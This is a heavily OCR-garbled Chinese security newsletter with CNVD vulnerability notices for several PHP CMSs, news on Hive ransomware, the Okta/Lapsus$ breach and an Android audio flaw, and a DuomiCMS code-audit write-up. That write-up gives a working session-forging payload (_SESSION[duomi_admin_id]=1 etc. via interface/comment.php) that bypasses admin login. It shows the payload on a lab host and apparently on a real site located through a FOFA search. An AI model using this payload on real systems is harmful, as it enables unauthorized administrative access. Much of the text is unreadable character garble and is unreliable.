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1 FARBRES

1.1@R—: zbzems EFEX M LIERR
yZisl: NI 2022-04-19
EHATIE 2022-04-19
CNVD-ID CNVD-2022-30435
e s sl =
B3 IEEEE CMS 3485 CMS 1.0
S ERERERE
zbzems (U5E5E CMS) RHEUEEEE CMS (zbzems)
AEN— I REETERS,
IRBIH A
zbzcms 1.0 IRAFEESN M EERR, BEETFIRIZ
TEEIT IR PHP ST ESAAS.
I BERRMRRIESERER, BXE BERER:
TR E

http://www.zbzcms.com

1.2BA=: zbzcms iflasFliE iRz

=2l 2022-04-19
EFRAdE 2022-04-19
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CNVD-ID CNVD-2022-30434
miREE KA =

N am uEEEE CMS 455 CMS 1.0
pEHEE S BRI

zbzems (U5ESE CMS) EFEIEESTE CMS (zbzcms)

REN—TAEETERE,

PN
zbzems 1.0 EATFHELIEHEHIERRER , EE I FIRZ
IR ERNINEIERKF.
I BERRERRIESENR, BRI BEREHN:
IBIRAFRTISE

http://www.zbzcms.com

1.3FRA=: cszcMs saL sENRE

YLl 2022-04-20

SRR A 2022-04-20

CNVD-ID CNVD-2022-30782
IBREERE =)

I BRI

= csz cms CSZ CMS 1.2.9

CSZ CMS 2—EET PHP (IR RRBEERS (CMS) ,

CSZ CMS 1.2.9 H7F7E SQL i ZEANRIRE, WHEEE
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cszcms/controllers/Member.php#viewUser #BiZifw

AT SQLIEANKE.

IEERREREERIESENR, BXE BEREH:
IRRIRRRIRTTZE

https://github.com/cskaza/cszcms/issues/33

1.4 AM: Atom.CMS SQL FEANIFIE

RApAYIE) 2022-04-20

SRR A 2022-04-20

CNVD-ID CNVD-2022-30776
mREERE =)

iR EY BERRRE

=\ The Digital Craft Atom.CMS 2

Atom.CMS 22 The Digital Craft MAFEEHII—
NEEERS.

Atom.CMS 2.0 WRATFFE SQLENRR, ZmRRT
IR
Atom.CMS_admin_uploads.php FrER/DIFIMEREIN
SQLIEARYIGIE, WEEAFAZREHRITIES SQL 4

SIREEE AU,

TEERhTIRRESER, BRITREER:
IRIRRRIRT https://github.com/thedigicraft/Atom.CMS/issues/2
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1.5FAR: RiteCMS {(F=34 HERIR

YLl 2022-04-20
EHAIE 2022-04-20
CNVD-ID CNVD-2022-30787
I ERLRRE
IRREERE =)
=2 fagdn RiteCMS RiteCMS <=3.1.0
RiteCMS 22— CMS,
RiteCMS 3.1.0 REZRIFEIEXH LERR, &35
IR
DIGIEAIIEEE A L& PHP SX4-F4%id . htacess EcEF
FRiZimiEHIT media 70 files BRHH.php X TITE
mEHUT,
I BERRERREEAR, BRI BmEREN:
TR 2

https://ritecms.com/
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2 FRABSADES

2.1 R

TREADFHIT

2.1.1 Duomicms BIZEEE = MR BEiMiEISC Ak

mEElga: * kK

REEE

AXRAERBNHAY cms & DuomiCms, X

# DuomiCms jB#5,

W SeaylBIUHEH RS --www.cnseay.com
AFREE x XAWE . 8t

& TR R Fe | a5
=@ duonioms ER 2BEE RN
& favicon. ico YT
# index. php = > :
(e include $_REQUEST[ target’]
& tag php F#
# zyspi.php =
£ adnin —EIE— A
# article @
il wtiolelist E; TranslationfarningTh
+- 8 data
- detail GLDBMS[ language stats’]
-l duomiphy GLDEAIS[ PMA Config ]
08 duomiui cEg SuhosinDissbleWarnin
£ images
+- 48 install

server
ofg[ Servers’ ][
comon_uwrl_query

terface

528 List msctert
s cke] ZeroCond

'"’:1’{' o£g FnaloRe] otion Di sobl.

i mebile £gRelationl allworks’ ]

+- 8 news relat. al\
il cfghe

P LSBT b 10 BLowish,
38 topic _SESSION[ engrypti on_key
@ topiclist GLUBALS[” ofg’ ?nguﬂ:onk
&gl wplosds wms efg 10’ LoginCock
53 video

cm LoginCookieValidityd

G!.DEAXS[ ofg 1[' VersionCh
ofgl’ ShowPhpInfo’ ]
php_version_string
php_ext_string

extension

extensions

+- 8 weixin

clum version_str

GLD)

szmx[ s!xv'm SOFTWARE"
GLOBALS[" ofg’ ]["ShowServer
GLOBALS [ cfg’ ][ ShowPhpIn

chusets[Sum code]

FEBEEREIRE

extract();//iBERERETE

parser_str();//fE=rFEaEE

$3; /MIEEE, BEEM

YEREE L witEE - | KBS ) agEs o 2EeR

GLOBALS [ ofg’ ][ Server' 11 v

RIETEINE,

7 EURE R ) ERRE - | XTES -
BiE: | BNz

Bt £BMT indeshy 2BEE indecpbp

unset (Sdrops, Seach_drop):

Starget_blacklist = array (

if (! empty($_REQUEST(['target
&& is_string(§_REQU!

&5 ! preg match( EQUEST[ ' t'])
&6 ! in_array(§_REQUEST( Stargee bl acklist)
&& Core: check?agevalldzty REQUEST [ et'])

include §_REQUEST['t

exit;

if (isset($_REQUEST['ajax request']) && ! empty($_REQUEST['
exit;

., WORHEE,;

EREENE, EXHPRRSHAEBAERNXXHEERE,

JX{EH Seay TR

TR EE,

WA,
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[T R R R A
commaon.func

func.

.Class.

Jnc.

RIFFEEMHRISUSES3/duomiphp/common.php.

<{php
error_reporting(0);
if(is_file(3 SERVER[DOCUMENT ROOT'].'/duomiphp/webscan.php’){
require_once($ SERVER[DOCUMENT ROOT'].'/duomiphp/webscan.php’);
}
define('duomi INC', preg_replace("|[AMH1.H",'/ dirname(_FILE )));
define('duomi ROQCT’, preg replace("|[LANN{1.}",'/" substr(duomi INC,0,-8) ) );
define('duomi_DATA', duomi ROOT."/data’);
if(PHP VERSION < '4.1.0') {
$ GET = &SHTTP GET VARS;
$ POST = &SHTTP_POST VARS;
$ COOKIE = &$HTTP _COOKIE VARS;
$ SERVER = &$HTTP SERVER VARS;
$ ENV = &$HTTP ENV VARS;
$ FILES = &$HTTP POST FILES;
}
$starttime = microtime();
require_once(duomi INC./common.func.php’);
[T SRS
foreach{$ REQUEST as $ k=>% v)
{
if( strlen($ k)>0 && m eregi(’*(cfg |GLOBALSY,$ k) && lisset($ COOKIE[S kD))
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exit{'Request var not allow!’);

function RunMagicQuotes{&3svar)
{
if(lget magic quotes gpc())
{
if( is_array($svar) )
f

foreach($svaras $ k=» % v) $svar[$ k]l = RunMagicQuotes($ v);

$svar = addslashes($svar);

}

return $svar;

foreach(Array(’ GET'” POST'," COOKIE) as % request)
|

foreach($$ requestas $ k== $ v) ${$ kl = RunMagicQuotes($ v);

H— S EMESPGREREIIT, JLABTIZA KB IESREHTE! (R
EESHRHBEENE EEAIL if 24, FAEBHE), RtFEREREEAEHE
session XFRZAISTIE:, SRAEHEHL admin B9 session I TESSCINEFHIE? EILLTE;

duomiCMS FKbsCIL T,

foreach(Array(’_GET',' POST',' COOKIE’) as $_request)
{

foreach($$ requestas $ k=> 3 v) ${$ k} = RunMagicQuotes($ v);

AR CMS, pREETHE, KINERAIIZEET admin/login.php 3X{4sCH)
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;5

Burp Suite Professional v2021.5 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
Intercept  HTTP history WebSockets history ~ Options

/ Request to http://192.168.186.133:80
Forward | Drop Action | Open Browser \

Pretty \n Actions v FasERESERit
S L D B,

2 Host: 192. 168. 186. 133

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW6; rv:55.0) Gecko/20100101 Firefox/55.0

4 Accept: text/html, app| ication/xhtml+xml, app| ication/xnl ;q=0. 9, %/*;q=0. 8

5 Accept-Language: zh-CN, zh; =0, 8, en-US;q=0. 5, en:q=0. 3

6 Accept-Encoding: gzip, deflate

7 Content-Type: app! icat on/x-waw~form-ur lencoded

8 Content-Length: 170

9 Referer: http://192. 168. 186. 133/duomicms/admin/ |ogin. php?gotopage=42F duomi cmsk2F admin%2F index. php
10 Gookie: PHPSESSID=19hru5054efe50620rolt ! 443

11 Connection: close

12 Upgrade-Insecure-Requests: 1

13

14 gotopage=42Fduomi cms%2F admi n'2F index. php&dopost=| oginduser id=admin&pwd=adnin&va i date=HEBXAFNBTHEBNBEXISHESHBSWASHEIARSBCHEBHAFSBT HETHAONE1&  nput_sub=HE7H99NBB+HESKBDN9S

18 admin/login.php X#THEES.

<?php

require_once{dirmame(_ FILE )."/./duomiphp/common.php’};
require_once({duomi INC."/check.admin.php™);
iftempty{$dopost))
{
$dopost ="
i
MMElEERREN
if( is_dir{dirname(_ FILE )."/./install’) }
{
if(!file_exists(dirname(__FILE )."/.finstall/install lock.txt?))
{
$fp = fopen(dirname(_ FILE_).'/./install/install lock.txt’ 'w’) or die[ Z=EEFTLEIN
IR, TEHTE GIEH, SEE=ElkEE8R! )
fwrite($fp,’ok’);
fclose($fp);
}
[ TIRIEFAIRSENE, 55EREEEFa
if( file_exists("../install/index.php™) } {
@rename("../install/index.php”, "..finstall/index.php.bak");
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/ENEEERESES
$cururl = GetCurlrl();
if(m_eregi{’/admin/login’ $cururl))
{
$redmsg = '<div style="color:#ff0000;font-size:1 4px;background #fff;padding:5px 0°>F
SFAEE/adminZN RSN, EMEEEERE! </div>]
H
else

{
$redmsg = "

HEFE
$admindirs = explode( /' ,str_replace(™\",/".dirname(_FILE_)));
$admindir = $admindirs[count($admindirs)-1J;
if($dopost=="login’)
{
$validate = empty($validate) ? " : strtolower(trim($validate));
$svali = strtolower(GetCkVdValue());
if(Svalidate==""|| $validate |= $svali)
{
ResetVdValue();
ShowMsg(3iFRB1Ew!",'-17;

exit();

else

$cuserLogin = new userLogin($admindir);
if(lfempty($userid) && lempty($pwd))
{

$res = $cuserLogin->checkUser($userid $pwd);

[/success
if(Sres==1)
{
$cuserLogin-=keepUser();
if(lempty($gotopage))
{
ShowMsg('aThEZE, [EEEREEEETm! $gotopage);

exit();

else

ShowMsg(aithE®, [EEERREESEELN! index.php’);

exit();
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o

/ferrar

else if($res==-1)
ShowMsg({FEIRRERFE! . -17);
exit();

o

else

exit();

——

//password empty
else
{
ShowMsgl{ AP IERRES=E!-17);

exit();

}

include(’html/login.htm");

7>

HoxXERbEs, EARKE—T keepUser(RIERER, HELtH—SEMIXE

\45 .
I

$cuserLogin-»keepUser();
iflempty($gotopage))

ShowMsg('pEThE=R, [FirREEEELTMm! | Sgotopage);

exit();
glse

ShowMsg(piThE=, [HEEREEEESM! indexphp’);
exit();

£mn

#HN/duomiphp/check.admin.php, E5iZzEE, AWM iSine@EIBIREND

session, D RBINAISES BUESS userlD, groupid #1 userName ENF&M

10



JERLEHR RSB IR AT

admincachefile 89324,

[EERPEERE

[/AEETEE] 1, FHGEE -1
function keepUser{)

{
if($this->userlD!=""8&&%this->groupid!="")
{
global $admincachefile;
§ SESSION[$this-=keepUserlDTag] = $this->userlD;
§ SESSION[$this->keepgroupidTag] = $this->groupid;
$ SESSION[$this->keepUserNameTag] = $this->userName;
$fp = fopen{$admincachefile,'w’);
fwrite($fp, ' <"."?’php $admin_path ="." {$this->adminDir}; ?°.">");
felose($fp);
return 1;
I
else
{
return -1;
1
h

ABXFHENIS—T, BUERAIHR, NEEZCREIRIMNAY session, FHIHE

ERAVASIEE, B8421E/admin/login.php

}
{

else

$cuserLogin = new userlLogin($admindir);
if(!empty($userid) && !empty($pwd))
{

$res = $cuserLogin->checkUser($userid,$pwd);

//success
if($res==1)
{

$cuserLogin->keepUser();

ldie<var-dump<$-SESSI°N)); — EEZCEE, keepuser () HITAINE, EiHEsession

ﬁ Y12

if(!empty($gotopage)) J\E§¥TEDHj;E
{ B
ShowMsg (' FINE R , IEFEASEEREIE LM | ', $gotopage) ; o
exit(); N
} a
alca =
am| | | |[@pe [isizEA:4 7 67 [FI 4 [+0D0A [102 [v PC [A [v UTF-8

WHERE, RAWRETEAEER session (E;

11
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€ © 192.168.186.133/duomicms/admin/login.php c # QgF we ¥ A9 6 @ -
INT = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFl-
@ Load URL (http://192.168.186.133/duomicms/admin/login.php|
% Split URL
Y Execute
[JPostdata []Referrer @K OxHEX 3B @K %URL 3B @K BASEG4 I ‘/wpmm g to wv‘an‘ Insert replacing <rﬂvg‘ [ Replace All 3B =

array(5) { ["duomi_ckstr"]=> string(4) "eajl" ["duomi_ckstr last"]=> string(0) "" ["duomi_admin_id"]=> string(0) "" ["duomi_group_id"]=> string(0) "* ["duomi_admin_name"]=> string(0) "" }

array(5) {
["duomi_ckstr’]==> string(4) "kwye”
["duomi_ckstr_last"]==> string(0) ™"
["duomi_admin id"]==> string{1) "1”
["duomi_group id"]==> string(1) "1"

["duomi_admin_name”]=> string(5) "admin”

ABRIENBEMEEL LISERIHER, Fitix session EERTTAER. BT 5
PiZH = RTFERE T session_start () REERBRLAHT, BRLWHEFER

EfiZ, /interface/comment.php XI4HRBEXK;

<7php
session_start(),
require_once("../duomiphp/common.php”);

require once(duomi INC.'/core.class.php’);

AjaxHead();
header('Content-Type:text/html;charset=UTF-8);
if($cfg gbookstart=="0"){
echo W42, TReEEHE),
exit();
H
$itype=Stype;
$itype=is_numeric($itype)?$itype:0;
if(lisset($action))
{

$action = "
i
$ischeck = $cfg feedbackcheck=="¥'20:1;
$id = $ REQUEST[id’];
$id = {isset(Sid) && is numeric($id)) ? Sid : 0;
$page=empty($page) ? 1 : intval($page);
if($page==0) $page=1;

12
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iffempty($id))
{
echo “err”;

exit();

<iframe id="parentframe” width="100%" frameborder="0" scrolling="no" src="/<?php echo
$GLOBALS['cfg_cmspath’]; ?=interface/comment/comment.html?id=<?php echo $id?
>&type==<?php echo $itype?>&iscaptcha=<?php echo $GLOBALS['cfg feedback ck']; ?
>&islogin=<7php echo (lempty(3 SESSION['duomi_user auth])?1:0) ;7> &title="

marginheight="0" marginwidth="0" name="comment” style="height:auto” > </iframe >
EHiAE &34 require_once("../duomiphp/common.php"); Btte]LAHITIE

2, J& session {&i#%K,

_SESSION[duomi_ckstrl=kwye8&:
_SESSION[duomi_ckstr_last]=8&

_SESSION[duomi_admin id]=1&
_SESSION[duomi_group id]=1&

_SESSION[duomi_admin_name]=admin

RIREAESHHREMARRREI T

[Nt = & SQUBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFi-

@ load URL (http//192.168186.1 i php? SESSION[duomi_ckstr]=kwye8:_SESSION[duomi ckstr_last]=& SESSION[duomi_admin_id]=18& SESSION[duomi_group_id]=1& SESSION[duomi admin_name]=admin )=
o o .
& splitURL

v Execute

[Postdata []Referrer 4 OXHEX 3B @K %URL 3B @K BASE64 3B Replace All 3 | 3=

REBRLAEEER, RMAFEERHMEHNGE (BRNEEEEE session
AURHR, php {EZR=BNENIMRRZEAIIMAY cookie, NMAFEZDBEEE) |

RS ENRRLD, TR T LS.

€ O& 192.168.186.133/duomicms/admin/ x @ Qjex w8 ¥+ A9 e @~ 6 =

'INT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@ load URL
& splitURL
Y Beate |

(http://192.168.186. hp?_SESSION[duomi_ _SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_ic]=18& SESSION|duomi_group_id]=18_SESSION(duomi_admin_name]=admin 1=

[JPostdata [ Referrer @& OxHEX 3B @K %URL 3B @K BASEG4 I | /nsert string to replace | Insert rey g string| [ Replace All 3

@ DuomiCms &= B # (RS admin iR ) | 8 | 56 | WG

EIRER TRRIEXIER

HERHE K SAIRX2.0 PHPIEE 5.5.38
L

7

BRA

13
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@FA | app="puomicms*

¢ httos

T - S

ASN:
B

2022-04-17

zy.com

—EFARSRO

2022-04-05

EiE B EHHE—HAY session &), —iE8;

€ 0& eHo.cn/admin/logi gotopage=%2Fadmin%2F c ® 23 "B ¥ AD e @ e =
INT = © SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Load URL (ttpy/blie o mpniaterface/comment.php?_SESSION[duomi_ckstrl=kwye& SESSION[duomi_ckstr last]=& SESSION[duomi_admin_id]=18 SESSION[duomi_group_id]=18 SESSION[duomi_admin_name]=admin

& Split URL 1
v Execute

[JPostdata []Referrer @ OxHEX M @K %URL 3B @ BASE64

asert string y H g string| [ Replace All 38 | 3=

JEEBARE/adminR2iBIIEY, EXE2ER

DuomiCMS &=3

14
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EEFHCMSIRE

HERISE

HEETE SRR Bt

SHAFBIEER

FhbRES

$FElsessionfIS IR

BT U E B session

[/E613] Duomicmshy

2y ‘ ’
EMEMEE\MLE ‘. SHEETES sessionfIT{ERE2
FIJscHy
fofaSHHBRmSHEAIR
\ Z )
\\\ E \ / BRI T ARG EibUL
~ &rsm
- ________J|

\|  EEtsessionTIESA

3 H2HHES
31 FAERNEL EHES

3.1.1 R 2Hh#nEE BEXEMEATRAMNIEZRAEHTE

-
=]

B EEERA AT —IEGEEREXAER, R AEEEEAERRATER
P EEFEREHEZERS, XRNETWEHI BRSNS S,

REONMABALERE, (HFRSE) (0sA) FRIRERFPISRBISID. M5l
BRI FBFPHE T D EFIRNSERL. DSA B—MLEAE, BIRAKRERHATIME
RIERFPIINEZEHET AN, ERERBEET (HFmimE) — M REHER,

JIRREBIETEHER 20 ZHARIIEIRHF ERARAATRGEFH TRALE.

15
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RIE (BFmimx) | SBAABRERE RN CRIRSRYRNERA, RIFT

IBRIRRREIRL, ISHIESLE. RUER G SREF BRI TR £ I SIS 4EHR a8,
A RER RS, kiR, DSA KBERETWIRETERET), ERAFREE" &=
£, WLmilREaH" .

ERRRE. BREZRRSMEMNNSERER/RAMAIMYAI—ERT, ILERZE
FHIRIEISIEAVL0ER, IXERE YouTube B, TikTok STELTFABEELIRME ARSI
RS TURRREEL SRS . RIBSTHIN, Facebook BFAE] Meta HEATNEARELAFRAL
FARBIRRIT SEE.

DSA 5RB8, WESFEARRESFTER, BRI ERERF A ASAREERIRISK
o BEVTMEBEE—ESHE, BEFERKEMIIE Covid-19 FIBTR=MHF+HXK

7 PR R RN IR S R EE L.

16
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PERFARRESE I RIRE, BEEIC(IEBTEETHMN, T Google FINLS
BEREFERERN PR INET. KRETFEINENRERBAZELDSE 4500 5
. 85837 2000 /5 3000 HRATAIE R, BLERMNVQETSHEHIGSIA
6% KENERITI =,

BRI ZHBZRIFHNNAR, XEHRESTNEBFERERTE LEEER
{EEHT, Google FRTWGAERHEFIR XL, B ENETIHSERTIARNY,

E—EABER, BENNTAERE—WRESL.

3.1.2 Android #RELRER IRFEERERNOTRSNRFDR

EH Android REBHIBFELTERE, ERFERE TFERNTIRSNIREDEE
(ALAC) . Bl 2EM% 95% BY Android IRERETHREMEAR, LELAF Check
Point F§ HH R L%E 2021 & 12 B Android Security Patch HII& FE F £
“Out-of-Bounds” Z&imi, BRWEEEH.

ZIBEFAET ALAC F, EEEGIR/IERTIRENIRFIDEE. ALAC Z23FRAT
B 2004 FHiEHAI—FEISI. MREN, 2D REEE BN _CIRHTTR

==k
=PI

17
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BRERATIRITTECH ALAC TRIRE, BEE—TRREY, SEATME
RRHE Android EREFHPHEIXZIRA. BEETEHIR, XK HHIEREERER
—1 B 2011 FLLKRBEFMIARRE.

F—RlERRETERENEEXES, Check Point BiF:

&
ITF
=T
e

TS
fid

i)

b
e
: B S
af A
- 0
T

[Tl
=
[EF

SEAT—HEEA cVE HBIFRE CcVE-2021-30351 1BEIZER, mEEERINMER
CVE ID CVE-2021-0674 #0 CVE-2021-0675, {FFFIARNIEARL, FRRMEERIRIGNH
AR AT A ANAY Android RZFBRIAE, BERFTURAREIRAEUE NIREER/X.

XER EEWENARER MY LIGBITEIRAE, A LGS IR RS

=z
=

3.1.3 K§J#hTHI Exchange BRSSERIE Hive FNFINT: EHARL
LFFEUR

BAE 2021 FHEFAEETT Hive BIFREAART Exchange BRSEIIREANT,
FRUREWRATHTEE, (ERIKAE—LERHISERIIRH, HEMRXLERERE
RUBLRAHBRER T Hive BIREMRIKE, WREIRETRAUR.

ANTIRERFIIRZ T (2B R SEI PowerShell BIZSE)) Cobalt Strike,
FHEET—PMEA "user” HHMEREIERWK.

e, BWEEER Mimikatz (—FKIDRERARVZER BN MHER) KEBUREERAY

NTLM IE#5{E, FHEREXNZKFRYES]. ERTINRE, Hive #ITT—EAM, EFE

18
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TSR P i, PEERREE" BE" B, F=il RoP HAE

ARG RR LA R SR =

Authorization

Login

‘.i | Encrypted at
25 January 2022 5

——— 06:23:30 ¢

== Exfiltrated files are coming soon = ‘

REET "Windows.exe” AT —IMNEEMAIERRMEE M, BTHBI
s, MR FRIA, BREHES, AFZRRENE. e, 2B THFEK
HR9AER, ERIZABRS Hive BY" HESRI)" BUSERR, 180 IRE—TAET Tor K
£&iia)fY.onion HtBhE,

WIERVBAREBIR M T LA TS

o REISK. EipREMIR* key. XX, (RIEIBIST AR,
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o FEENEEMBINENX Y. (FEKEE(].

o FEMER. KIFEERFIWIRE. IFHARCIRAILS. IIRERLF
M3 EREARGRE—,

o FEEMKERNTE. IRBEH, MMITERE. IR ORRNES. fbihA
NECEFIRFE, EFEHEL. MIBESEM. FAZERECRIA.

o REHRM (sic) WX, BHANHBHATHRE.

GNERANE Hive I5R, fIAYEREHATHTE Hiveleaks Tor Mih £, [F—ius Eif

SER—METRS, LUBEREEG.

2 WEICELS

ZZeRPAEY, TE—MiIFH, BEIRGEEESVINEH 72 /NI EINZ
INE, A, BENEIIIRNL Exchange IRSGZE5FT#NT, ERRRCREZA0%4S, fEIE

smBvl, ROJEERREAR), HEMEZSMHEIRT.

3.1.4 E5HsEs | RmE RIRMER S RN BERIEEKE
Bt hEphr

LISEENER "RAIR" MEZeH], RINeESRER (BfERE. INEX. BAF|
TPAFAE=) AT RENSEMIRIEINEFES, KXERTER (NSA) SHAYERH
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B — XESIFHNEEEAR, 55

RN BRI NE MR SEZS, FHEEK S STHRIATERRENE,
LS8 1T #1 OT M4,

NSA Cyber &
@NSACyber

Critical infrastructure organizations should maintain a
heightened state of alert against Russian cyber
threats. Stay vigilant and follow the mitigations from
our joint advisory to harden your IT and OT networks
now. nsa.gov/Press-Room/New...

119 - 202284 H21H - Sprout Social

F=REXE LS, BYAE FBI, CISA F1 NSA T5F 1 BARMITRIEUASRIERY
Z b, R TSR KRR IEER IR R R BB R NE .

CISA EAfE Jen Easterly #hFRiE : ITHRBIRRIBEBUT ERRSIEE X BRI
HOBTER B IR,

MSBETERSIHAEERRBHNLAS, SRR ERBUN ST ERAING
WEHBARRIRRAFORE
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EEARERNENS, 8T ERBRXEEMIRIEINENE, LMRIFEEER

A () FMEERA (0T) MEARZSZFEEEBIHIRR TR, BT

TR, DDos Wik, LANMSIENRESIZ.
CIAS FNLIIENBELEEEFIMFRFBRYRIR. ELERESMIE, FHAE

FEREINY (ROP) BEE—ERE(].

3.1.5 Okta £5R Lapsus$ REHMHFAE: BEEIFEE 25 980 (X
AN ERZEZR

okta Qe &

Okta Concludes its
Investigation Into the
January 2022 Compromise

P David Bradbury
N
¥ Chief Security Officer April 19, 2022

Bradbury 5i&, AEASPEZEERBIEF—REEKNANINELZ W TFFE THIE
BAE, MEEBEHNTES — Z54EE, KT 3 B 22 BFENTVETEE.
(E4Em]) 2022 5 1 B 21 H, Lapsus$ BEREHBATET Sitel RTAMN

27, HMART okta HIRZE, EMZATSBRET Okta RIEDEFIRS.
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The final forensic report of the globally recognized cybersecurity firm we engaged concluded
that:

* The threat actor actively controlled a single workstation, used by a Sitel support engineer,
with access to Okta resources.

+ Control lasted for 25 consecutive minutes on January 21, 2022,

= During that limited window of time, the threat actor accessed two active customer tenants
within the SuperUser application (whom we have separately notified), and viewed limited
additional information in certain other applications like Slack and Jira that cannot be used
to perform actions in Okta customer tenants.

* The threat actor was unable to successfully perform any configuration changes, MFA or
password resets, or customer support “impersonation” events.

» The threat actor was unable to authenticate directly to any Okta accounts.
While the overall impact of the compromise has been determined to be significantly smaller

than we initially scoped. we recognize the broad toll this kind of compromise can have on our
customers and their trust in Okta.

MNBfE, —8 Llapsuss BUREEREIENZT Okta WHRFNFHEE, 1hi%
NENERLEHBARYEREIR K,
BT okta MEEEEHEZHERAFAHAIRHNSHIIEFRORIAE, R

HtH5 IR THRIAKATESRIELE.

vx-underground
@vxunderground

LAPSUS$ extortion group claims to have breached
@Okta. They have released 8 photos as proof.

The photos we are sharing has been edited so no
sensitive information or user identities are displayed.

Image 1 - 4 attached below.

s

EF11:44 . 2022835228 - Twitter Web App
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S9F{sEFE Salesforce. Google Workspace Bf Microsoft Office 365 ZEVIER{ERIANT)

ERIMRNRIET, REEERBBEIYSE Okta, BENLERIBNMRHEL —
R . KERE, ELANERS L, okta FIEREIMNZEIMNY, IR T
BRI AERRSHTAIE.

vx-underground
@wvxunderground

This is our 3rd attempt at sharing the 5th - 8th photo.
LAPSUS$ displayed a lot of sensitive information
and/or user information, so much so we end up missing
to censor some.

Photos 5 - 8 attached below.

[ [ [} * &
—_ e

ES11:67 - 2022535228 - Twitter Web App

BEEIEVEERSHINT, Bradbury RIRIAHER TIGIE. RERHIRETERE
RIESHERRAET 5 X, EH—SoRAZESEMITFET 25 D

ZATHMERIZZINZEFPHESIX 366 1, EFiREBBHREITRE 2 1> okta &
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FRIBMIIERSGH Lapsuss FHEIT.
SRR, EREERNDREIRA, BEREERE U= PRI SESMHIIE.

BENHEECE, /54 Okta GBS IMtbERIZFRIEE,
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